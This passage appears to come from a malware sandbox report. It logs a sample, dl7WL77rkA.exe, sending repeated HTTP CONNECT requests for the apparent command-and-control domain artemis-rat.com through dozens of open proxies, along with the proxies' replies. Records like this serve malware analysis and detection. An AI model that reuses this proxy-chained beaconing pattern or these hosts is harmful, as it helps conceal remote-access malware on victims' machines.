Mar 11, 2024 03:30:40.771652937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.5	50807	116.106.105.55	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.771688938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.5	49945	49.145.119.102	8085	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.780327082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.584580898 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.5	52216	171.244.140.160	27020	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.789755106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.701880932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.108232975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796564102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.5	51559	45.150.25.132	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.789757013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811372042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.811556101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.905198097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.5	51801	162.241.46.40	49401	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.790402889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811368942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.5	52304	72.206.181.123	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.791189909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.5	51632	171.244.140.160	62310	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.791192055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.905066013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.5	52305	98.175.31.195	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.791333914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.5	52301	130.162.213.175	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.791459084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.108472109 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.5	52281	51.89.173.40	11058	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.791460037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.592395067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.499044895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405467987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.093115091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.905210018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:55.592720032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:02.904906034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.5	52331	38.162.1.143	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.791687965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.206218958 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.5	52285	8.217.95.44	8899	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.791781902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.107789040 CET	711	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.25.1 Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.25.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.5	52227	197.242.146.109	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.795893908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.701843023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.440448999 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.5	52369	38.162.10.148	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.815742016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.250710011 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.5	52307	98.170.57.249	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.815743923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.5	52356	92.204.135.203	10824	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.815937996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.405045033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.201900959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.702075005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.592792988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.405349016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.5	50022	192.99.207.129	29360	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.830185890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939110994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.083456993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.217669964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.5	52318	192.252.216.81	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.870594978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.5	52279	43.133.136.208	8800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.874052048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.5	52254	45.251.231.113	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.878757954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.5	51775	13.81.217.201	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.878760099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.572294950 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:30:44 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 618 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform the
Mar 11, 2024 03:30:44.572314978 CET	274	IN	Data Raw: 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 Data Ascii: m of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at artemis-rat.com Por

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.5	51678	37.187.77.58	52593	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.883446932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.5	51809	5.161.231.34	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.896377087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.115111113 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.5	52289	60.211.195.150	10800	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.896644115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.701905012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.5	52333	163.172.171.22	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.903270960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
